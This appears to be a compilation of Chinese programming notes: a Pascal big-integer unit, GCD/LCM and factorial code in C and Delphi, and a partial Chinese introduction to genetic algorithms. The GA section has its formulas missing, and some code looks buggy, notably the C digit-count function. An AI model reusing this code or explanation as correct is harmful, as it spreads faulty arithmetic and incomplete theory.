file.close();

}


高精度的大数字的算法
例如要精确到小数点后面多少位或者100位的数字相加减

下面是一个单元：

huge numbers

By: Abe Timmerman; Alkmaar, The Netherlands

Send improvements to: A.Timmerman@beta.hsholland.nl

This unit uses an array of bytes to represent a LARGE number. The number is binairy-stored in the array, with the Least Significant Byte (LSB) first and the Most Significant Byte (MSB) last, like all Intel-integer types.

Arithmetic is not 10-based or 2-based, but 256-based, so that each byte represents one (1) digit.

The HugeInttype numbers are Signed Numbers.

When Compiled with the R+ directive, ADD and MUL wil generate an "Arithmetic Overflow Error" (RunError(215)) when needed. Otherwise use the "HugeIntCarry" variable.

Use the "HugeIntDiv0" variable to check on division by zero.

Use {$DEFINE HugeInt_xx } or "Conditional defines" from the "Compiler options" for sizing, where xx is 64, 32 or 16, otherwhise HugeIntSize will be set to 8 bytes.

unit HugeInts;

interface

const

{$IFDEF HugeInt_64 }

HugeIntSize = 64;

{$ELSE}{$IFDEF HugeInt_32 }

HugeIntSize = 32;

{$ELSE}{$IFDEF HugeInt_16 }

HugeIntSize = 16;

{$ELSE}

HugeIntSize = 8;

{$ENDIF}{$ENDIF}{$ENDIF}

HugeIntMSB = HugeIntSize-1;

type

HugeInt = array[0..HugeIntMSB] of Byte;

const

HugeIntCarry: Boolean = False;

HugeIntDiv0: Boolean = False;

procedure HugeInt_Min(var a: HugeInt); { a := -a }

procedure HugeInt_Inc(var a: HugeInt); { a := a + 1 }

procedure HugeInt_Dec(var a: HugeInt); { a := a - 1 }

procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt); { R := a + b }

procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt); { R := a - b }

procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt); { R := a * b }

procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt); { R := a div b }

procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt); { R := a mod b }

function HugeInt_IsNeg(a: HugeInt): Boolean;

function HugeInt_Zero(a: HugeInt): Boolean;

function HugeInt_Odd(a: HugeInt): Boolean;

function HugeInt_Comp(a, b: HugeInt): Integer; {-1:a<b; 0; 1:a>b

}

procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt);{ Dest := Src }

procedure String2HugeInt(AString: string; var a: HugeInt);

procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);

procedure HugeInt2String(a: HugeInt; var S: string);

implementation

procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt);

{ Dest := Src }

begin

Move(Src, Dest, SizeOf(HugeInt));

end;{ HugeInt_Copy }

function HugeInt_IsNeg(a: HugeInt): Boolean;

begin

HugeInt_IsNeg := a[HugeIntMSB] and $80 > 0;

end;{ HugeInt_IsNeg }

function HugeInt_Zero(a: HugeInt): Boolean;

var i: Integer;

begin

HugeInt_Zero := False;

for i := 0 to HugeIntMSB do

if a[i] <> 0 then Exit;

HugeInt_Zero := True;

end;{ HugeInt_Zero }

function HugeInt_Odd(a: HugeInt): Boolean;

begin

HugeInt_Odd := a[0] and 1 > 0;

end;{ HugeInt_Odd }

function HugeInt_HCD(a: HugeInt): Integer;

var i: Integer;

begin

i := HugeIntMSB;

while (i > 0) and (a[i] = 0) do Dec(i);

HugeInt_HCD := i;

end;{ HugeInt_HCD }

procedure HugeInt_SHL(var a: HugeInt; Digits: Integer);

{ Shift "a" "Digits", digits (bytes) to the left,

"Digits" bytes will 'fall off' on the MSB side

Fill the LSB side with 0's }

var t: Integer;

b: HugeInt;

begin

if Digits > HugeIntMSB then

FillChar(a, SizeOf(HugeInt), 0)

else if Digits > 0 then

begin

Move(a[0], a[Digits], HugeIntSize-Digits);

FillChar(a[0], Digits, 0);

end;{ else if }

end;{ HugeInt_SHL }

procedure HugeInt_SHR(var a: HugeInt; Digits: Integer);

var t: Integer;

begin

if Digits > HugeIntMSB then

FillChar(a, SizeOf(HugeInt), 0)

else if Digits > 0 then

begin

Move(a[Digits], a[0], HugeIntSize-Digits);

FillChar(a[HugeIntSize-Digits], Digits, 0);

end;{ else if }

end;{ HugeInt_SHR }

procedure HugeInt_Inc(var a: HugeInt);

{ a := a + 1 }

var

i: Integer;

h: Word;

begin

i := 0; h := 1;

repeat

h := h + a[i];

a[i] := Lo(h);

h := Hi(h);

Inc(i);

until (i > HugeIntMSB) or (h = 0);

HugeIntCarry := h > 0;

{$IFOPT R+ }

if HugeIntCarry then RunError(215);

{$ENDIF}

end;{ HugeInt_Inc }

procedure HugeInt_Dec(var a: HugeInt);

{ a := a - 1 }

var Minus_1: HugeInt;

begin

{ this is the easy way out }

FillChar(Minus_1, SizeOf(HugeInt), $FF); { -1 }

HugeInt_Add(a, Minus_1, a);

end;{ HugeInt_Dec }

procedure HugeInt_Min(var a: HugeInt);

{ a := -a }

var i: Integer;

begin

for i := 0 to HugeIntMSB do

a[i] := not a[i];

HugeInt_Inc(a);

end;{ HugeInt_Min }

function HugeInt_Comp(a, b: HugeInt): Integer;

{ a = b: ==0; a > b: ==1; a < b: ==-1 }

var

A_IsNeg, B_IsNeg: Boolean;

i: Integer;

begin

A_IsNeg := HugeInt_IsNeg(a);

B_IsNeg := HugeInt_IsNeg(b);

if A_IsNeg xor B_IsNeg then

if A_IsNeg then HugeInt_Comp := -1

else HugeInt_Comp := 1

else

begin

if A_IsNeg then HugeInt_Min(a);

if B_IsNeg then HugeInt_Min(b);

i := HugeIntMSB;

while (i > 0) and (a[i] = b[i]) do Dec(i);

if A_IsNeg then { both negative! }

if a[i] > b[i] then HugeInt_Comp := -1

else if a[i] < b[i] then HugeInt_Comp := 1

else HugeInt_Comp := 0

else { both positive }

if a[i] > b[i] then HugeInt_Comp := 1

else if a[i] < b[i] then HugeInt_Comp := -1

else HugeInt_Comp := 0;

end;{ else }

end;{ HugeInt_Comp }

procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt);

{ R := a + b }

var

i: Integer;

h: Word;

begin

h := 0;

for i := 0 to HugeIntMSB do

begin

h := h + a[i] + b[i];

R[i] := Lo(h);

h := Hi(h);

end;{ for }

HugeIntCarry := h > 0;

{$IFOPT R+ }

if HugeIntCarry then RunError(215);

{$ENDIF}

end;{ HugeInt_Add }

procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt);

{ R := a - b }

var

i: Integer;

h: Word;

begin

HugeInt_Min(b);

HugeInt_Add(a, b, R);

end;{ HugeInt_Sub }

procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt);

{ R := a * b }

var

i, j, k: Integer;

A_end, B_end: Integer;

A_IsNeg, B_IsNeg: Boolean;

h: Word;

begin

A_IsNeg := HugeInt_IsNeg(a);

B_IsNeg := HugeInt_IsNeg(b);

if A_IsNeg then HugeInt_Min(a);

if B_IsNeg then HugeInt_Min(b);

A_End := HugeInt_HCD(a);

B_End := HugeInt_HCD(b);

FillChar(R, SizeOf(R), 0);

HugeIntCarry := False;

for i := 0 to A_end do

begin

h := 0;

for j:= 0 to B_end do

if (i + j) < HugeIntSize then

begin

h := h + R[i+j] + a[i] * b[j];

R[i+j] := Lo(h);

h := Hi(h);

end;{ if }

k := i + B_End + 1;

while (k < HugeIntSize) and (h > 0) do

begin

h := h + R[k];

R[k] := Lo(h);

h := Hi(h);

Inc(k);

end;{ while }

HugeIntCarry := h > 0;

{$IFOPT R+}

if HugeIntCarry then RunError(215);

{$ENDIF}

end;{ for }

{ if all's well... }

if A_IsNeg xor B_IsNeg then HugeInt_Min(R);

end;{ HugeInt_Mul }

procedure HugeInt_DivMod(var a: HugeInt; b: HugeInt; var R: HugeInt);

{ R := a div b a := a mod b }

var

MaxShifts, s, q: Integer;

d, e: HugeInt;

A_IsNeg, B_IsNeg: Boolean;

begin

if HugeInt_Zero(b) then

begin

HugeIntDiv0 := True;

Exit;

end{ if }

else HugeIntDiv0 := False;

A_IsNeg := HugeInt_IsNeg(a);

B_IsNeg := HugeInt_IsNeg(b);

if A_IsNeg then HugeInt_Min(a);

if B_IsNeg then HugeInt_Min(b);

if HugeInt_Comp(a, b) < 0 then

{ a<b; no need to divide }

FillChar(R, SizeOf(R), 0)

else

begin

FillChar(R, SizeOf(R), 0);

repeat

Move(b, d, SizeOf(HugeInt));

{ first work out the number of shifts }

MaxShifts := HugeInt_HCD(a) - HugeInt_HCD(b);

s := 0;

while (s <= MaxShifts) and (HugeInt_Comp(a, d) >= 0) do

begin

Inc(s);

HugeInt_SHL(d, 1);

end;{ while }

Dec(s);

{ Make a new copy of b }

Move(b, d, SizeOf(HugeInt));

{ Shift d as needed }

HugeInt_ShL(d, S);

{ Use e = -d for addition, faster then subtracting d }

Move(d, e, SizeOf(HugeInt));

HugeInt_Min(e);

Q := 0;

{ while a >= d do a := a+-d and keep trek of # in Q}

while HugeInt_Comp(a, d) >= 0 do

begin

HugeInt_Add(a, e, a);

Inc(Q);

end;{ while }

{ OOps!, one too many subtractions; correct }

if HugeInt_IsNeg(a) then

begin

HugeInt_Add(a, d, a);

Dec(Q);

end;{ if }

HugeInt_SHL(R, 1);

R[0] := Q;

until HugeInt_Comp(a, b) < 0;

if A_IsNeg xor B_IsNeg then HugeInt_Min(R);

end;{ else }

end;{ HugeInt_Div }

procedure HugeInt_DivMod100(var a: HugeInt; var R: Integer);

{ This works on positive numbers only

256-Based division: R := a mod 100; a:= a div 100; }

var

Q: HugeInt;

S: Integer;

begin

R := 0; FillChar(Q, SizeOf(Q), 0);

S := HugeInt_HCD(a);

repeat

r := 256*R + a[S];

HugeInt_SHL(Q, 1);

Q[0] := R div 100;

R := R mod 100;

Dec(S);

until S < 0;

Move(Q, a, SizeOf(Q));

end;{ HugeInt_DivMod100 }

procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt);

begin

HugeInt_DivMod(a, b, R);

end;{ HugeInt_Div }

procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt);

begin

HugeInt_DivMod(a, b, R);

Move(a, R, SizeOf(HugeInt));

end;{ HugeInt_Mod }

procedure HugeInt2String(a: HugeInt; var S: string);

function Str100(i: Integer): string;

begin

Str100 := Chr(i div 10 + Ord('0')) + Chr(i mod 10 + Ord('0'));

end;{ Str100 }

var

R: Integer;

Is_Neg: Boolean;

begin

S := '';

Is_Neg := HugeInt_IsNeg(a);

if Is_Neg then HugeInt_Min(a);

repeat

HugeInt_DivMod100(a, R);

Insert(Str100(R), S, 1);

until HugeInt_Zero(a) or (Length(S) = 254);

while (Length(S) > 1) and (S[1] = '0') do Delete(S, 1, 1);

if Is_Neg then Insert('-', S, 1);

end;{ HugeInt2String }

procedure String_DivMod256(var S: string; var R: Integer);

{ This works on Positive numbers Only

10(00)-based division: R := S mod 256; S := S div 256 }

var Q: string;

begin

FillChar(Q, SizeOf(Q), 0);

R := 0;

while S <> '' do

begin

R := 10*R + Ord(S[1]) - Ord('0'); Delete(S, 1, 1);

Q := Q + Chr(R div 256 + Ord('0'));

R := R mod 256;

end;{ while }

while (Q <> '') and (Q[1] = '0') do Delete(Q, 1, 1);

S := Q;

end;{ String_DivMod256 }

procedure String2HugeInt(AString: string; var a: HugeInt);

var

i, h: Integer;

Is_Neg: Boolean;

begin

if AString = '' then AString := '0';

Is_Neg := AString[1] = '-';

if Is_Neg then Delete(Astring, 1, 1);

i := 0;

while (AString <> '') and (i <= HugeIntMSB) do

begin

String_DivMod256(AString, h);

a[i] := h;

Inc(i);

end;{ while }

if Is_Neg then HugeInt_Min(a);

end;{ String2HugeInt }

procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);

var Is_Neg: Boolean;

begin

Is_Neg := AInteger < 0;

if Is_Neg then AInteger := -AInteger;

FillChar(a, SizeOf(HugeInt), 0);

Move(AInteger, a, SizeOf(Integer));

if Is_Neg then HugeInt_Min(a);

end;{ Integer2HugeInt }

end.


最小公倍数和最大公约数!
最大公约数

int gcd(int a,int b)

{

int i;

for(i=a;i>=1;i--)

if(!((a%i)||(b%i)))

return(i);

}

最小公倍数

int lcm(int a,int b)

{

int i;

i=b;

while(i%a)i+=b;

return(i);

}

---------------------------------------

{

The greatest common factor, or GCF, is the greatest factor

that divides two numbers.

}

{

Der GGT zweier Zahlen ist der gr??te gemeinsame Teiler

dieser Zahlen, also die gr??te Zahl, durch die beide

Zahlen teilbar sind.

}

uses

math;

// Find the greatest common factor of two integers

function TForm1.GCF(A, B: Integer): Integer;

var

Lfactor: Integer;

begin

// Return -1 if either value is zero or negative

if (A < 1) or (B < 1) then

begin

Result := -1;

Exit;

end;

// if A = B then this is the GCF

if A = B then

begin

Result := A;

Exit;

end;

Result := 1;

for Lfactor := trunc(max(A, B) / 2) downto 2 do

begin

if (frac(A / Lfactor) = 0) and (frac(B / Lfactor) = 0) then

begin

Result := Lfactor;

Exit; // GCF has been found. No need to continue

end;

end;

end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);

var

Res: Integer;

begin

Res := GCF(120, 30);

ShowMessage(Inttostr(Res));

end;

{******************}

// Find the greatest common factor of an array of integers

function TForm1.GCFarray(A: array of Integer): Integer;

var

Llength, Lindex, Lfactor: Integer;

begin

Llength := Length(A);

// Return -1 if any value is zero or negative

for Lindex := 0 to Llength - 1 do

begin

if A[Lindex] < 1 then

begin

Result := -1;

Exit;

end;

end;

// if all elements are equal then this is the GCF

Lindex := 1;

while (Lindex < Llength) and (A[Lindex] = A[0]) do Inc(Lindex);

if Lindex = Llength then

begin

Result := A[0];

Exit;

end;

Result := 1;

for Lfactor := trunc(ArrayMax(A) / 2) downto 2 do

begin

Lindex := 0;

while (Lindex < Llength) and

(frac(A[Lindex] / Lfactor) = 0) do Inc(Lindex);

if Lindex = Llength then

begin

Result := Lfactor;

Exit; // GCF has been found. No need to continue

end;

end;

end;

// find the maximum value in an array of integers

function TForm1.ArrayMax(Aarray: array of Integer): Integer;

var

Lpos: Integer;

begin

Result := 0;

for Lpos := 0 to Length(Aarray) - 1 do

if Aarray[Lpos] > Result then

Result := Aarray[Lpos];

end;


任意数的阶乘
http://www.csdn.net/expert/Topic/63343.shtm

http://www.csdn.net/expert/Topic/52263.shtm

// jiechen.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

#include <stdlib.h>

// 000000000

// 000000000

#define WEISHU 10000

#define WEISHUBIT 4

#define MW ( WEISHU - 1 )

#define MAXLEN 100000

int num1[MAXLEN];

int num2[MAXLEN];

int num3[MAXLEN];

int resultTemp[MAXLEN];

int resultTempLen;

int mulTemp[MAXLEN];

int mulTempLen;

void showNum( int * num,int len )

{

for(int i=len-1;i>=0;i--)

{

printf("%04d",num[i] );

}

}

int getweishu( int * num,int len )

{

int i;

for(i=len-1;i>=0;i--)

{

if ( i > 0 )

break;

}

if ( i == -1 )

return 1;

int r1 = i * WEISHUBIT;

int n2 = num[i];

if ( n2 == 0 )

return r1;

r1++;

while( n2 >= 10 )

{

r1++;

n2 /= 10;

}

return r1;

}

void showOpera( char * name1,int * num1,int len1 )

{

printf("%s = ",name1);

showNum( num1,len1 );

printf("");

}

void add( int * add1,int add1num,int *add2,int add2num,int *add3num )

{

// add1num >= add2num

int i;

//showOpera( "Add1",add1,add1num );

if ( add1num < add2num )

{

for(i=add1num;i<add2num;i++)

{

add1[i] = 0;

}

add1num = add2num;

}

int resultLen = add1num + 1;

int jinwei = 0;

for(i=0;i<add2num;i++)

{

add1[i] += add2[i] + jinwei;

if ( add1[i] > MW )

{

add1[i] -= WEISHU ;

jinwei = 1;

}

else

{

jinwei = 0;

}

}

if ( jinwei == 0 )

{

resultLen = add1num;

}

else

{

for(i=add2num;i<add1num;i++)

{

add1[i] ++;

if ( add1[i] > MW )

{

add1[i] = 0;

}

else

{

jinwei = 0;

break;

}

}

if ( jinwei == 0 )

{

resultLen = add1num;

}

else

{

add1[ add1num ] = 1;

}

}

*add3num = resultLen;

//showOpera("Add2",add2,add2num);

//showOpera("Add1 + Add2",add1,resultLen );

}

void mult( int * mul1,int mul1num,int *mul2,int mul2num,int *mul3,int *mul3num )

{

int i,j;

int result;

int jinwei = 0;

int kk;

resultTempLen = mul2num;

for(i=0;i<mul2num+mul1num+1;i++)

{

resultTemp[i] = 0;

}

for(i=0;i<mul2num;i++)

{

jinwei = 0;

for(j=0;j<mul1num;j++)

{

result = mul2[i] * mul1[j] + jinwei;

if ( result > MW )

{

mulTemp[j] = result % WEISHU;

jinwei = result / WEISHU;

}

else

{

mulTemp[j] = result;

jinwei = 0;

}

}

if ( jinwei > 0 )

{

mulTempLen = mul1num+1;

mulTemp[mul1num] = jinwei;

}

else

{

mulTempLen = mul1num;

}

//showOpera("Mul1",mul1,mul1num);

//showOpera("Nul2",mul2+i,1);

//showOpera("Mul2 * Mul1",mulTemp,mulTempLen );

kk = resultTempLen;

add( resultTemp+i,kk-i,mulTemp,mulTempLen,&kk );

resultTempLen = kk + i;

}

*mul3num = resultTempLen;

for(i=0;i<resultTempLen;i++)

{

mul3[i] = resultTemp[i];

}

}

// 10! = 3628800

int ten( int num )

{

int re = 1;

for(int i=2;i<=num;i++)

re *= i;

return re;

}

void setNum( int num,int * n,int * len )

{

int i = 0;

while(num>0)

{

n[i] = num % WEISHU;

num /= WEISHU;

i++;

}

*len = i;

}

void cal(int num)

{

int i,j;

if ( num <= 10 )

{

printf("%d! = %d",num, ten(num));

return;

}

int len1,len2,len3;

setNum( 3628800,num1,&len1);

for(i=11;i<=num;i++)

{

setNum( i,num2,&len2 );

mult( num1,len1,num2,len2,num3,&len3 );

for(j=0;j<len3;j++)

{

num1[j] = num3[j];

}

len1 = len3;

}

printf("%d! = ",num);

showNum( num3,len3 );

printf("= %d",getweishu(num3,len3));

}

void main(int argc, char* argv[])

{

if ( argc != 2 )

{

printf("Usage : Jiechen number");

return;

}

int num = atoi( argv[1] );

if ( num <= 0 )

{

printf("Arg %s is invalid!",argv[1]);

return;

}

cal(num);

}

*************

程序包含两个文件，

一个是执行窗体文件（包含组件：1个SpinEdit1，一个Edit，一个Button1，三个标签Label1，Label2，Label3），

另一个是类定义文件（Unit_factorial_class.pas），具体如下：

窗体定义文件：

unit Unit_Main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Spin;

type

TForm1 = class(TForm)

Button1: TButton;

SpinEdit1: TSpinEdit;

Edit1: TEdit;

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses

//使用类单元

Unit_factorial_class;

var

MyFactorial:TLQM_factorial_class;

procedure TForm1.Button1Click(Sender: TObject);

var

time1,time2:TTime;

begin

//创建对象

MyFactorial:=TLQM_factorial_class.Create;

label3.Caption:='Number: '+IntToStr(SpinEdit1.Value);

time1:=time;

//计算

Edit1.text:=string(MyFactorial.CaculateFactorial(SpinEdit1.Value));

time2:=time;

Label1.Caption:='Length: '+IntToStr(length(Edit1.text));

Label2.Caption:='Time: '+TimeToStr(time2-time1);

//销毁对象

MyFactorial.Free;

end;

end.

类定义文件（Unit_factorial_class.pas）内容为：

//-----------------------------------------------------------------------------

unit Unit_factorial_class;

interface

type

//数据结构-----------------------------------------------------

//-------------------------------------------------------------

//用于存储结果的每一个位(十进制位)的数据结构

TLQM_Factorial_Record_p=^TLQM_factorial_record;

TLQM_Factorial_Record=record

//只需用于保存0-9的数字,

//理论上的最大计算范围为[High(Integer)/10]的取值范围

//实际鉴于系统资源而定

Value:integer;

//指向高位的指针

HighPointer:TLQM_Factorial_Record_p;

end;

//类结构-------------------------------------------------------

//-------------------------------------------------------------

//用于实际计算的阶乘的类

TLQM_factorial_class=class(TObject)

//头节点指针

F_Head:TLQM_factorial_record_p;

private

//将指定值与链表中的值相乘（未进行值的标准处理）

//即：结果链表中的每个位都有可能是多位数

procedure Linklist_MultiplyValue_BlindMultiply(Value:integer);

//将最高位的值扩展到新加的高位字节（递归）

procedure Linklist_MultiplyValue_ExtendTopValue(

Top_p:TLQM_factorial_record_p);

//将链表中的值进行标准处理

//即：结果链表中的每个位只有一个个位数[0-9]

procedure Linklist_MultiplyValue_Fluency;

//将指定值与链表中的值相乘，生成标准的可输出值

//即：结果链表中的每个位只有一个个位数[0-9]

procedure Linklist_MultiplyValue(Value:integer);

//输出链表(注:由低位至高位,最高位的0不算)

function Linklist_OutputString:WideString;

public

//构造函数

constructor Create;

//计算阶乘的函数(当输入错误数[如:-1阶乘]时,返回字符串'-1')

function CaculateFactorial(UserValue:integer):WideString;

//析构函数

destructor Destroy;override;

end;

implementation

uses

Sysutils;

//构造函数

constructor TLQM_factorial_class.Create;

var

s:TLQM_factorial_record_p;

begin

//新建头节点-------------------------------------------------

new(s); s^.Value:=0; s^.HighPointer:=nil; F_Head:=s;

//创建并设置初始节点值为1------------------------------------

new(s); s^.Value:=1; s^.HighPointer:=nil; F_Head^.HighPointer:=s;

end;

//将指定值与链表中的值相乘（未进行值的标准处理）

//即：结果链表中的每个位都有可能是多位数

procedure TLQM_factorial_class.Linklist_MultiplyValue_BlindMultiply(Value:integer);

var

p:TLQM_factorial_record_p;

begin

p:=F_Head^.HighPointer;

while p<>nil do

begin

p^.Value:=p^.Value*Value;

p:=p^.HighPointer;

end;

end;

//将最高位的值扩展到新加的高位字节（递归）

procedure TLQM_factorial_class.Linklist_MultiplyValue_ExtendTopValue(

Top_p:TLQM_factorial_record_p);

var

s:TLQM_factorial_record_p;

begin

//若已经无高位，则退出

if (Top_p^.Value div 10)=0 then Exit;

//创建更高位-------------------------------------------------

new(s); Top_p^.HighPointer:=s; s^.HighPointer:=nil;

//将高位值存入s

s^.Value:=Top_p^.Value div 10;

//保留个位值

Top_p^.Value:=Top_p^.Value mod 10;

//继续扩展

Linklist_MultiplyValue_ExtendTopValue(s);

end;

//将链表中的值进行标准处理

//即：结果链表中的每个位只有一个个位数[0-9]

procedure TLQM_factorial_class.Linklist_MultiplyValue_Fluency;

var

s,p:TLQM_factorial_record_p;

begin

//一直循环到最高位（但最高位不在内）

p:=F_Head^.HighPointer;

//若不是最高位，则将本位的个位值保留，高位值进到高位

while p^.HighPointer<>nil do

begin

//s指向高一位

s:=p^.HighPointer;

s^.Value:=s^.Value+p^.Value div 10;

p^.Value:=p^.Value mod 10;

p:=p^.HighPointer;

end;

//将最高位的值分解到“另外扩展的”更高的位

//（注：当前指针已经指向最高位）

Linklist_MultiplyValue_ExtendTopValue(p);

end;

//将指定值与链表中的值相乘

procedure TLQM_factorial_class.Linklist_MultiplyValue(Value:integer);

begin

//将指定值与链表中的值相乘（未进行值的标准处理）

//即：结果链表中的每个位都有可能是多位数

Linklist_MultiplyValue_BlindMultiply(Value);

//将链表中的值进行标准处理

//即：结果链表中的每个位只有一个个位数[0-9]

Linklist_MultiplyValue_Fluency;

end;

//输出链表(注:由低位至高位)

function TLQM_factorial_class.Linklist_OutputString:WideString;

var

p:TLQM_factorial_record_p;

begin

Result:='';

p:=F_Head^.HighPointer;

while p<>nil do

begin

Result:=Result+IntToStr(p^.Value);

p:=p^.HighPointer;

end;

end;

//计算阶乘的函数

function TLQM_factorial_class.CaculateFactorial(UserValue:integer):WideString;

var

i:integer;

begin

//若为小于0的数的阶乘,返回字符串'-1'

if UserValue<0 then begin Result:='-1'; Exit; end;

//若为0或1的阶乘,返回字符串'1'

if (UserValue in [0,1]) then begin Result:='1'; Exit; end;

//计算函数的主体部分

for i:=UserValue downto 2 do

begin

Linklist_MultiplyValue(i);

end;

//输出链表(注:由低位至高位)

Result:=Linklist_OutputString;

end;

//析构函数

destructor TLQM_factorial_class.Destroy;

var

s,p:TLQM_factorial_record_p;

begin

//释放空间

p:=F_Head^.HighPointer;

while p<>nil do

begin

s:=p; p:=p^.HighPointer; Dispose(s);

end;

Dispose(F_Head);

inherited Destroy;

end;

end.


遗传算法

遗传算法（Gnetic algorithms）是基于自然选择和基因遗传基础上的一种优化算法。

遗传算法(Genetic Algorithms)是模拟生物学中“物竞天择、适者生存”的自然选择和基因遗传机制提出的并行随机优化算法。

目前GA在函数优化、自动控制、图象识别、机器学习、机身设计、人工神经网络、分子生物学、优化调度等方面都取得了很大的成功。

从1985年开始，国际上召开了遗传算法的专门会议，并成立了国际遗传算法协会，对遗传算法的基本理论、方法及技巧进行研究，至今已发表论文千余篇。GA已成为国际上跨学科的热门话题。在美国等一些西方国家的电机与计算机科学系中，为本科生和研究生开设了遗传算法的理论及其应用方面的选修课，遗传算法已成为人工智能研究的一个重要领域，同时也成为了解决困难的组合优化问题和复杂的函数优化问题的有效工具，并引起了各学科研究人员的普遍重视，他们希望采用这种新的技术来解决各自学科中长期未能很好解决的困难的组合优化和复杂函数优化问题。

目前GA在函数优化、自动控制、图象识别、机器学习、机身设计、人工神经网络、分子生物学、优化调度等方面都取得了很大的成功。

二、遗传算法原理的简单介绍

在遗传算法中，优化问题的所有参数(Parameter)或者称之为决策变量都被编码(Coding)，形成一个有限长的字符串，称之为染色体(Chromosome)或个体(Individual)。每个个体都对应于优化问题的一个可行解(Feasible Solution)。一组个体组成一代(Generation)种群(Population)，它描述了遗传算法的搜索空间。优化问题的目标函数作为种群所处的环境，目标函数值经过一定的修正后作为个体对环境的适应度(Fitness)。搜索时先随机产生一定数量的经编码后的祖先个体构成最原始的种群。再从这些种群开始，模拟进化过程，运用优胜劣汰原则，先将个体解码(Decoding)，把被编码的参数还原成实际参数，然后利用目标函数计算其适合度，再通过选择(Selection)将适合度高的个体下来，组成新的种群，最后再利用交换(Crossover)、变异(Mutation)等手段使这些新的种群的优良特性得以遗传和保留到下一代。如此“选择－交换－变异－再选择”地不断重复，使各代种群的优良基因成分逐渐积累，种群的平均适合度和最优个体适合度不断上升，直到迭代过程趋于收敛。

三、遗传算法的优缺点

与其他优化算法相比，遗传算法具有如下优点：

(1). 将搜索过程作用在编码后的字符串上，不直接作用在优化问题的具体变量上，在搜索中用到的是随机的变换规则，而不是确定的规则。它在搜索时采用启发式的搜索，而不是盲目的穷举，因而具有更高所搜索效率。

(2). 现行的大多数优化算法都是基于线性、凸性、可微性等要求，而遗传算法只需要适合度信息，不需要导数等其他辅助信息，对问题的依赖性较小，因而具有高度的非线性，适用范围更广。此外还可以写出一个通用算法，以求解许多不同的优化问题。

(3). 遗传算法从一组初始点开始搜索，而不是从某一个单一的初始点开始搜索。而且给出的是一组优化解，而不是一个优化解，这样可以给设计者更大的选择余地。它能在解空间内充分搜索，具有全局优化能力。

(4). 遗传算法具有很强的易修改性。即使对原问题进行很小的改动(比如目标函数的改进)，现行的大多数算法就有可能完全不能使用，而遗传算法则只需作很小的修改就完全可以适应新的问题。

(5). 遗传算法具有很强的可并行性，可通过并行计算来提高计算速度，因而更适用于大规模复杂问题的优化。

正是基于以上优点，遗传算法对优化工作者来说充满了吸引力。

但是由于遗传算法是一种较新的算法，在实际中的运用中也还有许多地方有待进一步地深入和改进，主要集中在以下几个方面：

(1). 遗传算法的理论研究比较滞后。由于遗传算法本身也是一种仿生的思想，尽管实践效果很好，但理论证明比较困难。而且这种算法提出来的时间还不是很长，因此其理论和实践的研究几乎是平行进行的。

(2). GA算法本身的参数还缺乏定量的标准，目前采用的都是经验数值，而且不同的编码、不同的遗传技术都会影响到遗传参数的选取，因而会影响到算法的通用性。

(3). GA对处理约束化问题还缺乏有效的手段，传统的罚函数法中对惩罚因子的选取还是一个比较困难的技术问题。

生物遗传物质的主要载体是染色体，在遗传算法中，染色体通常是一串数据（或数组），用来作为优化问题的解的代码，其本身不一定是解。遗传算法一般经过这样几个过程：首先，随机产生一定数量的随机染色体，这些随机产生的染色体组成一个种群。种群中染色体的数目称为种群大小或种群规模。然后用评价函数评价每一个染色体的优劣，即染色体对环境的适应程度（称为适应度），用来作为以后遗传的依据。接着进行选择过程，选择的目的是为了从当前种群中选出优良的染色体，使他们称为新一代的染色体，判断染色体优良与否的标准就是各自的适应度，即染色体的适应度越高，其被选择的机会就越多。通过选择过程，产生一个新的种群。对这个新的种群进行交叉操作，交叉操作是遗传算法中主要的遗传操作之一。接着进行变异操作，变异的操作是挖掘种群中个体的多样性，克服有可能陷入局部解的弊病。这样，经过上述运算产生的染色体称为后代。然后，对新的种群（即后代）重复进行选择、交叉和变异操作，经过给定次数的迭代处理后，把最好的染色体最为优化问题的最优解。

表示结构

最优化问题的解有两种表示方法：二进制向量和浮点向量。使用二进制向量作为一个染色体来表示决策变量的真实值，向量的长度依赖于要求的精度，使用二进制代码的必要性已经受到一些批评。在求解复杂优化问题时，二进制向量表示结构有时不大方便。

另一种表示方法是浮点向量，每一个染色体由一个浮点向量表示，其长度与解向量相同。这里用x = （x1，x2，…，xn）表示最优化问题的解，其中n是维数，则相应的染色体也是V = （x1，x2，…，xn）。

处理约束条件

处理约束条件的关键在于(a)删除约束条件中所有的等式，(b)设计恰当的遗传操作以保证所有新产生的染色体在可行集中。

初始化过程

评价函数

评价函数（用eval(V)来表示）用来对种群中的每个染色V设定一个概率，以使该染色体被选择的可能性与种群中其它染色体的适应性成比例，即通过轮盘赌，适应性强的染色体被选择产生后代的机会要大。

第一种方法，设目前该代中的染色体V1，V2，…，Vn，可以根据染色体的序进行再生分配，而不是根据实际的目标值。无论何种数学规划（单目标、多目标或目标规划）都可以作一合理假设，即在染色体V1，V2，…，Vn中，决策者可以给出一个序的关系，使染色体由好到坏进行重排，就是说，一个染色体体越好，其序号越小。设参数，定义基于序的评价函数为：

，i = 1，2，…，n

i = 1意味着染色体最好，i = n说明染色体是最差的。

第二种方法对适应度进行适当的缩放调整（称为适应度定标）来设计评价函数。用f1，f2，…，fn（即染色体V1，V2，…，Vn各自的目标值）来表示原来的适应度。Goldberg〖1〗提出一种线性适应度定标方案：

，i = 1，2，…，n

其中为新的适应度，a和b为参数。这种方法假定使用者了解目标函数的性质，这样才能设计合理的参数a和b。这种情况下，评价函数定义为：

